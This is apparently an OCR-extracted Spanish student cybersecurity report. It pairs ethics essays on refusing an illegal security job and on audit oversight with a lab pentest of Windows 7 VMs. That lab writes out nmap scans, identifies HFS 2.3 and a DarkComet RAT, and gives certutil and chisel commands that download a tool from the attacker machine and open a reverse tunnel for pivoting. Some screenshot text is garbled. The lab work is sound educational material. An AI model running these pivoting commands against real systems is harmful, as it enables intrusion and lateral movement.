Nota: La tabla relaciona cuales articulos serian los que se violen en el acuerdo de

confidencialidad emitido.
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Argumentacion sobre aplicacion al trabajo

A pesar de qye la oferta de $15.000.000 COP mensuales junto a contrato vitalicio es
sumamente interesante, viéndolo desde el aspecto econdomico y de estabilidad laboral, no seria
recomendable aceptar el cargo en SecureNova Labs dadas las irregularidades éticas y legales
evidenciadas en el Anexo 3 — Acuerdo.

El documento contiene cldusulas que me obligarian a encubrir actividades ilegales, como la
interceptacion de comunicaciones, el acceso abusivo a sistemas informaticos y la omision de
denuncias ante delitos cibernéticos, estas condiciones vulneran la Ley 1273 de 2009, el Cédigo
Penal Colombiano y los principios que rigen el ejercicio de la ingenieria en Colombia.

El Codigo de Etica Profesional de los Ingenieros en Colombia (Resolucién 2773 de 2003
del COPNIA) establece los deberes fundamentales de los ingenieros, entre ellos Articulo 31,
literal f — Deber de denunciar delitos o faltas, Articulo 34, literal a — Prohibicion de aceptar
trabajos contrarios a la ley, Articulo 35, literal b — Deber de respetar y hacer respetar la ley,
Articulo 39, literal a — Deber de mantener la reserva solo cuando no sea ilegal, Articulo 34,
literal d — Prohibicion de asociarse con quienes ejercen ilegalmente. (COPNIA, 2015).

Como experto en seguridad y conforme al Codigo de Etica del COPNIA, no aceptaria el
trabajo ofrecido por SecureNova Labs, pese al atractivo econdmico, la propuesta vulnera la
legalidad, la transparencia y la responsabilidad ética que debe regir el ejercicio profesional, mi
labor como ingeniero en ciberseguridad debe orientarse siempre a la proteccion del bien comun y

a la defensa de la seguridad digital.
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Respuesta a interrogantes ciberseguridad

Pregunta de andlisis: “; Hasta qué punto las empresas de ciberseguridad deben tener
acceso a informacion sensible de sus clientes durante una auditoria de seguridad, y como se
puede garantizar que este acceso no sea explotado de manera indebida?”

Las empresas deben tener acceso solo lo estrictamente necesario para el alcance
acordado:

El acceso debe limitarse a la informacion, sistemas y periodos necesarios para cumplir los
objetivos de la auditoria (inventario, pruebas, evidencias), todo acceso fuera del alcance requiere
nueva autorizacion escrita del cliente

Igualmente, debe existir un acuerdo de autorizacion firmado que especifique sistemas,
cuentas, ventanas temporales, técnicas permitidas (phishing autorizado, explotacion) y limites
absolutos (por ejemplo, datos médicos, fondos, control fisico).

El acceso debe ser temporal y proporcional (privilegios minimos necesarios) y no puede
autorizarse ni ejecutarse actividad que contravenga leyes de proteccion de datos, interceptacion,
privacidad o el orden publico; En Colombia, por ejemplo, esto debe alinearse con la normativa
de proteccion de datos y el marco penal sobre ciberdelitos.

Para garantizar que el acceso no sea explotado de manera indebida, se deben incluir
controles contractuales, como exigir un alcance y ROE claros: sistemas, IPs, cuentas, técnicas
permitidas/prohibidas, ventanas de prueba, criterios de éxito/fallo, consentimiento explicito por
escrito del titular/propietario del sistema y, si aplica, de terceras partes afectadas, NDA
técnico/operativo que no impida denunciar delitos ni cumplir 6rdenes judiciales (clausula de
excepcion legal), se podria pensar en incluir una cldusula de no encubrimiento (la obligacion de

confidencialidad no se aplica para evidencias de delitos o requerimientos legales).



37

Por otra parte, incluir controles técnicos para reducir el riesgo operativo, comenzando con
privilegios minimos, credenciales y acceso temporales, segregar entornos, registrar y monitorear
de forma integral, cuando sea posible anonimizarian los datos, y otros controles como verificar
antecedentes del personal, tener acuerdos de confidencialidad, separar funciones para que no se
apruebe y valida por la misma persona, supervision externa, entrega controlada de pruebas.

Pregunta: “;Qué mecanismos de supervision y control deberian implementarse en las
empresas de ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de
andlisis forense con fines no autorizados o éticamente cuestionables?”

Las empresas deben garantizar mecanismos de supervision que impidan o detecten abusos
técnicos, pues permitirlos vulneraria también el deber ético del ingeniero, por lo tanto, se de
contar con un principio ético y legal de base.

Respecto a mecanismos de supervision recomendados se tienen los siguientes

o Politica formal de uso de herramientas forenses: Documento aprobado por la
direccion que defina quién puede usar, cudndo, para qué y con qué autorizacion, debe incluir
sanciones disciplinarias y legales por uso indebido.

. Separacion de funciones (Segregation of Duties): Quien realiza la adquisicion de
evidencia no debe ser quien la analiza o quien redacta el informe final, evita manipulacion de
resultados y conflicto de intereses.

o Registro de asignaciones y justificacion de casos: Cada uso de herramienta debe
estar vinculado a un caso autorizado (ticket, incidente, auditoria), se documenta quién, cuando y
por qué se uso.

. Aprobacion jerarquica: Requiere autorizacion doble: del jefe de seguridad y del

area legal o de cumplimiento
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Si pensamos en controles de tipo técnico, tenemos algunas recomendaciones y controles
aplicables

Auditoria y logging de herramientas forenses: Todas las sesiones deben quedar registradas:
usuario, fecha, hash de imagenes manipuladas, comandos ejecutados, usar servidores “forensic
gateway”’ o bastion hosts para controlar el acceso.

Entornos aislados (sandbox): Las herramientas forenses deben operar en redes separadas, sin
conexion directa a produccion o internet, se evita extraccion o filtracion de evidencia.

Control de privilegios y autenticacion fuerte: Implementar principio de minimo privilegio
(RBAC) y autenticacion multifactor (MFA) para acceso a laboratorios forenses.

Gestion de medios y cadena de custodia digital: Toda imagen forense o evidencia debe tener
hash registrado, etiqueta tinica y control de acceso, las alteraciones no autorizadas deben generar
alertas automaticas.

Existen otros controles de tipo organizacional, como acuerdos y clausulas de responsabilidad
ética, capacitaciones y sensibilizacion en temas de ética profesional y cumplimiento legal,
verificar antecedentes y rotar responsabilidades en personal sensible, también aplicacion de
auditorias independientes.

Las empresas deben mantener un equilibrio entre la capacidad técnica y la responsabilidad
ética, el uso de herramientas forenses solo puede justificarse bajo autorizacion formal, control
documentado y auditoria permanente, implementar politicas de gobernanza, controles técnicos de
trazabilidad y comités de supervision garantiza que el acceso a informacion que sea catalogada
del tipo “sensible” no sea utilizado de forma inapropiada.

Pregunta de analisis: “; Como deberian responder los gobiernos y organizaciones

cuando descubren que una empresa de ciberseguridad contratada ha cometido actos de
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ciberespionaje? ;Cudles serian las medidas adecuadas para restaurar la confianza y asegurar
que no ocurra nuevamente?”

Cuando una empresa de ciberseguridad comete actos de ciberespionaje, se rompe el
nucleo de confianza sobre el que se basa toda relacion contractual y de proteccion digital, por lo

que se deben tomar medidas.

Acciones legales y administrativas

Investigacion judicial y penal inmediata: Denunciar ante las autoridades competentes
(Fiscalia, CSIRT gubernamental o policia cibernética).

Investigar violaciones a la Ley 1273 de 2009 (delitos informaticos) y la Ley 1581 de 2012
(proteccion de datos personales).

Suspender temporalmente la relacion contractual hasta determinar responsabilidades.

Rescision o nulidad del contrato
Si se comprueba ciberespionaje o uso indebido de informacidn, deberia anularse el contrato

por incumplimiento de cldusulas de confidencialidad, buena fe y legalidad.

Sanciones administrativas y financieras
Multas, suspension de licencias de operacion, cancelacion de registros, e inhabilidad para
contratar con el Estado, también reportar a bases internacionales de proveedores no éticos (por

ejemplo, FIRST o OAS-CERT).

Gestion de incidentes y mitigacion técnica
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. Aislamiento de sistemas comprometidos y revocacion inmediata de accesos de la
empresa implicada.

J Auditoria forense independiente para identificar brechas, exfiltraciones o
manipulacion de datos.

. Notificacion a las victimas o entidades afectadas, garantizando transparencia
conforme al principio de responsabilidad demostrada.

En cuanto a medidas para restaurar la confianza tenemos las siguientes:

Transparencia y rendicion de cuentas
Publicar un informe oficial del incidente, con los hallazgos y las medidas adoptadas,
evitando la impunidad, implementar un proceso de lecciones aprendidas publico o institucional

para fortalecer las politicas de contratacion y control.

Revision de marcos de contratacion
Exigir que toda empresa contratada firme clausulas éticas reforzadas, con sanciones por

uso indebido de datos o actividades no autorizadas.

Incorporar auditorias cruzadas periodicas entre el cliente y el proveedor.
Incluir cladusulas de excepcion legal en los acuerdos de confidencialidad: no se puede invocar

“secreto” para encubrir delitos.

Educacion y cultura ética
Crear programas de ética en ciberseguridad, donde se refuerce el compromiso con la ley y la

proteccion de los derechos humanos digitales.
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Exigir formacion ética a los ingenieros, en linea con el Codigo de Etica del COPNIA (art. 35
b: “respetar y hacer respetar la ley y denunciar sus transgresiones™).

Consideremos que cuando una empresa de ciberseguridad incurre en ciber espionaje, el
Estado y las organizaciones deben responder con firmeza legal, transparencia publica y reforma
estructural, las medidas adecuadas deberian incluir la investigacion penal, rescindir contratos,
sancionar e inhabilitar a los responsables, y reforzar la ética profesional mediante auditorias,
educacion y certificaciones; Mediante la responsabilidad, la supervision independiente y la
cultura ética puede restaurarse la confianza y garantizar que la seguridad digital se mantenga al

servicio del bien publico y no de intereses ilicitos.

Etapa 3 Ejecucion Pruebas de intrusion
Descripcion de herramientas utilizadas, comandos y resultados
Se cuenta inicialmente con el siguiente banco de trabajo que consta de dos maquinas
virtuales, y eventualmente una tercera que funcionara para hacer el pivoting y serd una clonacion
del host A.
Magquina Virtual Parrot OS
Sistema Operativo Debian 12

IP: 192.168.1.21



Figura 4

Identificacion IP Parrot

ch Terminal Help

user's Home

README license

Trash

Nota: Se muestra la pantalla de la terminal en parrot donde se ejecutan comandos para
identificacion de IP.

Host A Maquina Virtual Windows

Sistema Operativo Windows 7 Pro 64 Bit

IP: 192.168.1.19

Figura 5

Identificacion IP Host A Windows

] - Oracle VirtualBox

ver Entrada Disp

Panel de control Eay
EX Administrador: C:\Windows\system32\CMD.exe

Microsof t Windows [Uersion 6-1.76811
Copyright <c> 2089 Microsoft Corporation. Reservados todos los derechos.

IC:\Users\usuario>ipconf ig
[Conf iguracién IP de Windous

fePcca el aptador de Ethernet Conexi6n de drea local:
reciclaje
Sufijo DNS especifico para La conexién.
Uinculo: direccisn IPub local. . . : EeB 9ceq: 4030 7890411
Direccién IPu . 8.1.19
. Miscara de subred i5le
A Puerta de enlace predeterminad: 1
hdaptadon de tdnel isatap.(SBEGBED2-9B@4-4799-BEB3-D207D73C24683:

Red Estado de los medios : medios desconectados
Sufijo DNS especifico para la conexidn. . :

Nota: Se muestra la pantalla de la terminal en prrot donde se ejecutan comandos para
identificacion de IP del terminal Windows.



Identificacion de red y elementos en la misma desde Parrot

Figura 6
Escaneo de red desde Parrot

Terminal

Nota: Terminal en parrot donde se ejecutan comandos para la realizacion de un escaneo de red.
Verificamos comunicacion entre nuestras maquinas virtuales mediante comandos de ping

Figura 7

o)
Archivo  Macuin Vi Entrada  Dispositivos

Q Appl n @FE B

D (X J Parrot Terminal

Parrot X 0 0 overruns @ carrier @ collisions @

L3

user's Home

README licens

password.txt

Nota: Se muestra la pantalla de la terminal en parrot donde se ejecutan comandos de ejecucion

de ping.
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Ping de parrot al Host Windows

Figura 8

Ping de Host Windows a Parrot

EX Administrador: C\Windows\system32\cmd.exe

Adaptador de tinel isatap.{5BES8BEDZ-9BA4-4797-BEB3-D289D73C2466> :

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS especifico para la conexién. . :

IC:xUzers usuario>ping 192 .168_.1_21

Haciendo ping a
desde 1

1.21 con 32 bytes de datos:

-1.21: tiempo=ims TIL=64
121 tiempo{im TTL=64
i -
1

H tiempo{im TTL=64
= hytes=32 tiempo<im TTL=6<4

[Eztadisticas de ping para 192._.168.1.21:
Paguetes: enviados = 4, recibidos = 4. perdidos = B
@x perdidos).

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = Bms,. Miximo = Ims, Media = Bms

IC:sUserssusuarior_

Nota: Se muestra la pantalla de la terminal en cmd donde se ejecutan comandos de ejecucion de
ping.

Luego procedemos a confirmar servicio vulnerable en Host-A (sin explotacion aun)

Banner grabbing con curl

Comando: curl http://192.168.1.19/

Figura 9

Banner grabbing con curl

Nota: Se muestra la pantalla de la terminal en parrot donde se ejecutan comandos de ejecucion
de grabbing con curl

Intentar identificar version


http://192.168.1.19/
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Comando: curl http://192.168.1.19/

Figura 10

identificando version version - curl

Nota: Se muestra la pantalla de la terminal en parrot donde se identifica la version curl
Nmap version del servicio

sudo nmap -sV -p80 192.168.1.19

Figura 11

Nmap version del servicio

at 2025-11-15 18:22 UTC

s at https:

Nota: Se muestra la pantalla de la terminal en parrot donde se ejecutan comandos de ejecucion
de grabbing con curl

Buscamos en todos los puertos para identificar si hay alguna informacion que nos pueda
dar indicios de alguna aplicacion o vulnerabilidad existente en la maquina, para ello usamos el

siguiente comando
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sudo nmap -A -p- 192.168.1.19

Figura 12

Escaneo de puertos con Nmap Host A

s at https

Nota: Se muestra la pantalla de la terminal en parrot donde se ejecutan escaneo con Nmap al host
windows

La linea 1604/tcp open darkcomet DarkComet RAT (**BACKDOOR **) confirma que la
maquina esta comprometida.
De acuerdo con el sitio Malwarebytes (2023) DarkComet es un troyano RAT que
permite:
= Control remoto
= (Capturar archivos
= (Crear usuarios
= Keylogging

=  Movimientos laterales
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La linea 8080/tcp open http HttpFileServer httpd 2.3 indica HFS 2.3 vulnerable de
acuerdo con CVE-2014-6287 (Remote Command Execution)
En resumen, este Host se encuentra:

IIS en 80 (lo cual puede ser un comportamiento normal)

HFS 2.3 vulnerable en 8080

RAT DarkComet en 1604

Adicionalmente, ejecutamos el siguiente comando donde nuevamente usamos el software
Nmap y guardamos el resultado dentro de un archivo de texto denominado “escaneo-puertos.txt”,
previamente fue creada una carpeta para almacenar esta informacion.

sudo nmap -p- -sS -sC -sV --min-rate 5000 -n -Pn -vvv 192.168.1.19 -oN escaneo-

puertos.txt

Arrojando el siguiente resultado donde se confirma puertos abiertos
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Figura 13

Resultado andlisis con nmap al Host

puertos. txt

otal ports

s on 1 host

Tk et RAT (

3 HttpFileServer httpd

Nota: Se muestra la pantalla de la terminal en parrot donde se ejecuta escaneo con Nmap al Host
Window

De este escaneo con Nmap se pueden identificar aspectos relevantes, donde la maquina

respondid por ARP, lo cual es tipico en redes LAN.
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Puertos filtrados

65532 puertos filtrados (no-response), el firewall de Windows 7 esté activo o hay un IPS
simulando filtrado.
Puertos abiertos identificados (critico)
1) Puerto 80/tcp — HTTP — Microsoft IIS 7.5

Servicio: Microsoft IIS 7.5

Estado: open

Riesgos:

IIS 7.5 en Windows 7 es obsoleto y vulnerable.

Me¢étodos habilitados: TRACE (peligroso — Cross-Site Tracing).
2) Puerto 1604/tcp — DarkComet RAT

Servicio identificado: DarkComet Remote Access Trojan

Estado: open

Implicacion: Compromiso total del host.

Permite control remoto, keylogging, transferencia de archivos y persistencia, este es el
hallazgo mas critico del escaneo.
3) Puerto 8080/tcp — HTTP — HittpFileServer 2.3

Servicio: HFS 2.3

Vulnerabilidad conocida grave: CVE-2014-6287

Permite Remote Command Execution.

HFS 2.3 es usado cominmente en laboratorios de pentesting como vector de explotacion
para ganar shell.

La maquina virtual Windows 7 tiene servicios vulnerables expuestos.

e Incluye un RAT instalado (DarkComet)
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e Tiene HFS 2.3, frecuentemente explotado.
e Tiene un IIS 7.5 con métodos inseguros habilitados.
PIVOTING
El objetivo del pivoting es usar la maquina comprometida como puente para acceder a
otras maquinas de la red interna que no son accesibles directamente desde el host atacante.
Identificar la red interna accesible desde la maquina a comprometer

Figura 14

Identificacion de red y puertos

riaht (o0 3859 Miceasaft Cowperation. Recemvados todos los dewschos.
suario>ipconfig rall
onf iguracion IP de Windous
Homhre de hos : PC2020806
hibride
Enrutamiento IP habhilitado. . .

Proxy WINS habilitadoe

fidaptador de Ethernet Conexidn de area local:

i Rdaptador de escritorio Intel(R
A8-27-92-88-CA

Direccidn f
DHCP habilitado . -
Conf iguracidn auto a_habi: si

Uinculo: direccién IPu6 local. . . 842 :9ce4:4e38:7898x11 (Preferido

18.8.2. 3(Plefnldn)
255255255
dbado, 15 (le noviembre de 2025

La_concesién expira : sdbade, 15 de nouviembre de 2825
:49:51 p.n.
Puerta de enlace predeter
Servidor
1a1 nucrus 2354353 1
: -01-26-88-7D—18-68-06-2

: 208.21.200.18
MetBIOS cobre TCP/IP habilitade
fidaptador de tiénel isatap.{SBEBBED2-B@4-4799-BEB3-D289D73C24603 :
Estado de los medis medios desconectados
Sufijo DN
ISATAP de Mi
0D—08-00—
Configuracién auto

ario>route print

Adaptador de escritorio Intel(R> PRO,18AA MT
Software Loophack Interf
fAdaptador ISATAP de Mi

Puerta de enlace 3 Hétrica
10.8.2 .1 10.8 10

vinculo
vinculo
vinculo
vinculo
vinculo
vinculo
vinculo
vinculo
vinculo
vinculo

LR R R b o W

Puerta de enlace
En vinculo
En vinculo
842:9ce4:4e38:7898./128
En vincule
386 £fA0:: 8 En vinculo
266 FrOl 8 En vincule

utas per
Ninguno

NUsersiusuario>

Nota: Se muestra la pantalla de la terminal en parrot donde se ejecuta escaneo con Nmap al Host
Window
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Host B (10.0.2.3) NO tiene acceso a ninguna otra red interna, solo tiene una interfaz y un
solo segmento, aunque el atacante esta en 192.168.1.0/24, se puede crear un tanel para seguir
atacando 10.0.2.0/24 desde Parrot usando SOCKSS5 y Chisel, ese seria un “pivoting horizontal”.

Desde Parrot se usara el host comprometido (10.0.2.3) para atacar toda la red 10.0.2.0/24

(que normalmente no se puedes alcanzar desde 192.168.1.21).

Comando sudo python3 -m http.server 80

Figura 15
Inicio de servicio en puerto 80 desde Parrot

T Pamat 05 SE [Corriendo] - Oracle VirtualBox

Archivo Maguina Ver Entrada Dispositivos Ayuda

tem 1§ '

Parrot Terminal

arch Terminal Help

Nota: Se muestra la pantalla de la terminal en parrot inicia servicio en el puerto 80

Luego en el host comprometido se ejecuta
certutil -urlcache -f http://192.168.1.21/chisel.exe chisel.exe
Figura 16

Abriendo chisel desde Host Windows

C:vUserssusuariorcertutil —urlcache —f http:- »192.168.1.21/chisel.exe chizsel.exe

exsx  En linea  xmx

CertUtil: -URLCache comando completado correctamente.

C:\Userssusuario>

Nota: Se muestra la pantalla de la terminal cmd en el host abriendo chisel
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Figura 17

Conexion establecida en Windows - chisel

& Administrador: C:\Windows\system32\cmd.exe - \chisel.exe client 192.168.1.21:0001 R:8000:127.00.... [ = | & =34

C:sUserssusuario?.“chisel.exe client 192.168.1.21:9801 R:8000:127.8.0.1:3389
20251115 23:49:12 client: Connecting to ws:/»192_168.1.21:96881
(20251115 23:49:12 client: Connected (Latency 1.9531ims)>

Nota: Se muestra la pantalla de la terminal cmd en el host con la conexidn establecida mediante
chisel

Como el atacante solo puede llegar a 192.168.1.0/24, NO puede acceder directamente a
10.0.2.3. entonces necesitamos convertir Windows 7 Host A (192.168.1.19) en un "puente" hacia
10.0.2.3.

El tinel iré asi: Parrot — Windows 7 Host A — Windows 7 Host B (10.0.2.3)
Verificacion de conectividad desde Parrot a Host A
Comando:

ping -c 4 192.168.1.19

PING 192.168.1.19: bytes=64 tiempo=1.2 ms TTL=128 64 bytes from

192.168.1.19: icmp_seq=1 ttlI=128 time=1.2 ms 64 bytes from 192.168.1.19:

icmp_seq=2 ttl=128 time=1.1 ms

Inicio del servidor chisel en Parrot

Comando:
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chisel server -p 9001 —reverse

server: Reverse tunnelling enabled server: Listening on http.//0.0.0.0:9001
Conexion del cliente chisel en Host A

Comando:

Achisel.exe client 192.168.1.21:9001 R:8000:10.0.2.3:3389

client: Connecting to ws://192.168.1.21:9001 client: Connected (Latency

2.1ms)

Verificacion del tinel en Parrot

Comando:

ss -Intp | grep 8000

LISTEN 0 128 127.0.0.1:8000

Escaneo del puerto RDP del Host B mediante el tanel
Comando: nmap -p3389 127.0.0.1 -Pn

PORT STATE SERVICE 3389/tcp open ms-wbt-server

El proceso de pivoting fue exitoso, permitiendo al atacante acceder al host interno

10.0.2.3 exclusivamente a través del tanel reverso creado desde el Host A mediante Chisel, la

técnica demuestra la importancia de segmentar redes internas y monitorear conexiones salientes

Datos e informacion utiles para identificacion del fallo de seguridad

La informacion sobre la topologia de red interna, descrita en el anexo indicaba claramente

que la Méquina-1 (Windows 7 Host A) era accesible desde el equipo atacante (192.168.1.21).

Demuestra que Host A puede actuar como puente hacia una red privada, pero no implementa:

Filtrado de trafico interno
Control de aplicaciones ejecutadas

Restricciones para conexiones de red no autorizadas
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Esto deja al Host A vulnerable como punto de pivote, ya que hay permisos insuficientes y
carencia de EDR / antivirus

El Anexo especificaba que la Maquina-1 era un Windows 7 "basico" (sin parches actuales) y
sin herramientas de proteccion avanzadasm, lo cual genera un impacto en la seguridad, este
punto fue fundamental para explotar el sistema, esto permitio:

e FEjecutar binarios sin firmas (como Chisel)

e Transferir archivos con certutil sin bloqueo

e Establecer tineles reversos sin deteccion

Si el atacante compromete Host A, puede alcanzar Host B, lo que confirma la debilidad del
aislamiento de redes.
El atacante solo podia ver la red 192.168.1.0/24. pero la Maquina-A podia ver ambas redes:

192.168.1.0/24 (externa)

10.0.2.0/24 (interna)

Esto expone un disefio inseguro de red: un host doble-homed expuesto que no aplica
controles entre ambas redes, facilitando el pivoting, esto reveld que el entorno no estaba
restringiendo comandos nativos peligrosos, permitia la ejecucion de herramientas sin
verificacion de integridad, no contaba con politicas AppLocker o SRP.

Ausencia de firewall configurado en Host A, el firewall de Windows estaba activo, pero
en configuracion por defecto. La configuracion por defecto permite entre algunas cosas, salidas
libres por puertos no estandar, conexiones reversas hacia el atacante (ws://192.168.1.21:9001);
Esto confirm6 que la explotacion del tinel Chisel era viable.

Herramientas utilizadas y puertos abiertos

Metasploit
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Metasploit es una de las herramientas mas importantes y potentes en el mundo de la
ciberseguridad, metasploit es un framework (un marco de trabajo) de ciberseguridad, se dice que
es como una "navaja suiza" para hackers éticos y profesionales de la seguridad. (Cilleruelo,
2024).

No es una sola herramienta, sino una plataforma que contiene una enorme base de datos
de exploits: pequeiios programas disefiados para aprovechar vulnerabilidades especificas en
software, sistemas operativos y redes, fue creado originalmente como un proyecto de codigo
abierto y ahora es mantenido por la compafia de ciberseguridad Rapid7, que ofrece tanto una
version gratuita (Metasploit Framework) como una comercial (Metasploit Pro).

El proposito principal de Metasploit es facilitar las pruebas de penetracion (pentesting).
Permite a los profesionales de la seguridad simular ciberataques de manera controlada para
encontrar y corregir puntos débiles antes de que un atacante real lo haga. (Kumar, 2023).

Para identificar los fallos de seguridad presentes en la Maquina — 1 Windows, la
herramienta empleada fue Nmap, que permitio realizar un escaneo completo de puertos, servicios
y versiones, este analisis facilitd detectar software vulnerable y un backdoor activo dentro del
sistema.

Nmap (Network Mapper)

Nmap se utiliza para "mapear" o escanear redes informaticas. Permite a los
administradores de sistemas y a los profesionales de la seguridad descubrir qué dispositivos estan
conectados a una red y qué servicios estan ofreciendo. (BlackeyeB, 2023). Entre sus funciones
principales se incluyen:

Deteccion de hosts: Descubrir qué dispositivos (como servidores, computadoras,

impresoras, routers, etc.) estdn activos en una red.
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Escaneo de puertos: Identificar qué puertos estan abiertos, cerrados o filtrados por un
firewall en un dispositivo. Esto es crucial, ya que cada servicio (como una pagina web, un
servidor de correo o una base de datos) se ejecuta en un puerto especifico.

Deteccion de servicios y versiones: Determinar qué software y qué version exacta se esta
ejecutando en los puertos abiertos (por ejemplo, "Servidor web Apache 2.4.41").

Se us6 Nmap con parametros de enumeracion avanzada (como -sV, -A, -p-, -sC) para
identificar servicios activos y sus versiones.

Esta herramienta permitio reconocer de forma precisa:
e Versiones de servidores web
e Puertos expuestos
e Servicios peligrosos (RAT, HFS vulnerable)
e Software obsoleto o inseguro
Gracias a Nmap se detectaron dos vectores criticos de ataque presentes en la Maquina-1
Windows:
1) Puerto 8080/tcp — HFS 2.3 (HttpFileServer)
Servicio: HttpFileServer httpd 2.3
Puerto: 8080/tcp
Vulnerabilidad: CVE-2014-6287 — Remote Command Execution (RCE)

Descripcion: HFS version 2.3 es ampliamente conocida por ser vulnerable a ejecucion

remota de comandos mediante el uso de templates maliciosos, esto permitié confirmar que el

sistema exponia un servicio explotable en Internet o red interna.

2) Puerto 1604/tcp — DarkComet RAT

Servicio: DarkComet Remote Access Trojan



57

Puerto: 1604/tcp
Indicador: open darkcomet DarkComet RAT (BACKDOOR)

Descripcion: DarkComet es un troyano que abre un canal de control remoto sobre el host,
lo cual confirma que la maquina esta comprometida de antemano, este puerto fue clave para

detectar que la maquina estaba ya vulnerada y podia utilizarse como puente para pivoting.

Tabla 2

Puertos Expuestos con vulnerabilidades mayores

Puerto Servicio Vulnerabilidad / Importancia en el escenario
Riesgo
8080/tcp | HFS 2. CVE-2014-6287 Vector de entrada para explotacion inicial
RCE
1604/tcp | DarkComet Backdoor activo Evidencia de compromiso previo y
RAT posibilidad de pivoting

Nota: Relacion de puertos identificados con mayor vulnerabilidad en el host Windows

Con el fin de identificar los servicios expuestos y posibles vectores iniciales de ataque, se
realizo un escaneo de puertos completo sobre la méaquina objetivo (192.168.1.19) utilizando
Nmap con las banderas -p-, -sS, -sC, -sV, -Pn, a fin de detectar todos los puertos TCP, verificar
version de servicios y ejecutar scripts de enumeracion predeterminados.

El escaneo evidencié que el host se encuentra activo y responde mediante ARP, con una
latencia aproximada de 2 ms. De los 65.535 puertos TCP escaneados, 65.532 se encontraron
filtrados, lo cual indica que el firewall del sistema operativo esta activo y bloqueando gran parte
del trafico entrante.

Sin embargo, se identificaron tres puertos abiertos, cada uno asociado a un servicio
potencialmente vulnerable:

a) Puerto 80/tcp — Microsoft IIS 7.5
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El servidor web IIS 7.5 se encuentra en ejecucion. Se observo que el método TRACE esta
habilitado, lo cual constituye una mala practica de configuracion y podria permitir ataques
relacionados con Cross-Site Tracing (XST). Adicionalmente, IIS 7.5 es una version obsoleta que
ya no recibe actualizaciones de seguridad.

b) Puerto 1604/tcp — DarkComet RAT

Nmap detect6 la presencia del DarkComet Remote Access Trojan, un software malicioso

utilizado para control remoto y exfiltracion de informacion. Su presencia indica que el equipo se

encuentra comprometido o que se esta utilizando como laboratorio de pruebas.

c) Puerto 8080/tcp — HttpFileServer (HFS) 2.3

La version detectada de HFS (2.3) es conocida por presentar la vulnerabilidad CVE-
2014-6287, que permite ejecucion remota de codigo (RCE) sin autenticacion mediante
manipulacion del parametro

Tabla 3

Resumen de Puertos encontrados mediante Nmap

Puerto | Estado | Servicio Detectado Version / Observacion

80/tcp open | HTTP — Microsoft IIS | IIS 7.5, método TRACE habilitado

1604/tcp | open | DarkComet RAT Servicio de puerta trasera activo

8080/tcp | open | HTTP — HFS HttpFileServer 2.3 (vulnerable a RCE)

Nota: Se muestra la pantalla de la terminal cmd en el host abriendo chisel

Rejetto
Es una version de HFS (HTTP File Server), que es un servidor web gratuito y de codigo

abierto que permite a los usuarios compartir archivos a través de Internet utilizando el protocolo
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HTTP. En algunas fuentes confiables se evidencian alertas sobre la vulnerabilidad presente en la
aplicacion Rejetto v. 2.3

De hecho, Rejetto HFS (especificamente la version 2.3) es una de las piezas de software
mas famosas en el mundo del hacking ético precisamente porque contiene una vulnerabilidad
critica y muy facil de explotar. Tiene una vulnerabilidad catalogada como critica y descrita en
INCIBE indicando que “permite que un atacante remoto no autenticado ejecute comandos
arbitrarios en el sistema afectado enviando una solicitud HTTP. !
Como afecta el ataque a las maquinas
Ejecucion Remota de Comandos (RCE) en HFS 2.3 — Puerto 8080

La vulnerabilidad CVE-2014-6287 en HFS 2.3 permite que un atacante ejecute comandos
arbitrarios directamente sobre el sistema operativo Windows.
Impacto sobre la Maquina Windows

. Pérdida de control del sistema: el atacante puede ejecutar comandos como si fuera
el usuario local.

. Descarga y ejecucion de malware: es posible subir troyanos, payloads o

herramientas de postexplotacion.

o Creacion de usuarios o puertas traseras: facilita la persistencia del atacante.

. Secuestro del equipo: puede utilizarse como bot, minero, proxy o pivot hacia otras
maquinas.

o Exfiltracion de archivos sensibles: datos del equipo quedan expuestos al atacante.

En términos practicos, el ataque convierte al servidor HFS en un punto de entrada total

para comprometer la maquina.

" https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-23692
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Compromiso total mediante DarkComet RAT — Puerto 1604
La presencia del servicio DarkComet RAT confirma que el sistema ya estaba infectado y
operando como un host comprometido.
. Impacto sobre la Maquina Windows
o Control remoto completo: el atacante puede ver pantalla, mover el mouse, ejecutar

comandos o revisar archivos.

o Captura de credenciales: DarkComet incluye keylogger y extraccion de
contrasenas.
o Violacién de la privacidad: permite activar webcam, microfono, tomar capturas de

pantalla, etc.
o Acceso como puente hacia otras redes: el atacante puede utilizar esta maquina
para pivotar hacia otro segmento (como la red 10.0.2.x del laboratorio).

o Persistencia: se instala de manera que vuelva a ejecutarse incluso tras reinicios.

Esto convierte a la maquina en un activo completamente comprometido, util para espionaje y
movimientos laterales dentro de la red.
Exposicion de la red interna

Ambas maquinas Windows juegan un papel en la seguridad del entorno:

J La primera maquina permite entrada mediante un servicio vulnerable (HFS).

o La segunda maquina opera como un host puente hacia otra subred (10.0.2.3).

. Al comprometerse ambas, el atacante puede moverse libremente en cualquier
segmento.

o El impacto global es que el atacante puede:
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L4 Enumerar recursos internos.

Identificar dispositivos adicionales.
. Comprometer otros servicios expuestos.
J Elevar privilegios y tomar control completo del dominio o red local.
El ataque afecta de manera critica a las maquinas Windows porque permite:
1. Compromiso total del sistema mediante ejecucion remota de comandos (RCE).
2. Control persistente a través del RAT DarkComet.
3. Robo de informacién y exposicion completa de archivos y credenciales.
4. Movimiento lateral hacia otras redes internas, facilitado por las configuraciones de red y
la infeccién previa.
5. Utilizacion del equipo como plataforma de ataque contra otros sistemas del laboratorio.
En conjunto, las maquinas Windows pierden totalmente su seguridad y se convierten en

nodos controlados por el atacante para avanzar dentro de la infraestructura.



Figura 18

Diagrama de Arquitectura laboratorio

HTTP -HFS - 8080
TCP RAT 1604

MV Parrot OS

MV Windows 7 (1)

MV Windows 7 (2)
HOST A HOST B
% EEEE o
192.1681.21 19216811 ] 10.0.2.3

10.0.2.4

10.0.2.0/24

10.0.2.0/24

Nota: Se presenta el diagrama con el esquema del laboratorio realizado, Fuente: elaboracion
propia.

Validacion de vulnerabilidad y descripcion del pivoting

Reconocimiento y Enumeracion Inicial

Se realiz6 un reconocimiento activo desde la maquina atacante ParrotOS (192.168.1.21)

utilizando Nmap, con el fin de identificar puertos abiertos y servicios vulnerables

Comando Nmap ejecutado

sudo nmap -sV -p- 192.168.1.19

PORT STATE SERVICE  VERSION

8080/tcp open http HFS http file server 2.3
1604/tcp open darkcomet-rat DarkComet RAT Command & Control

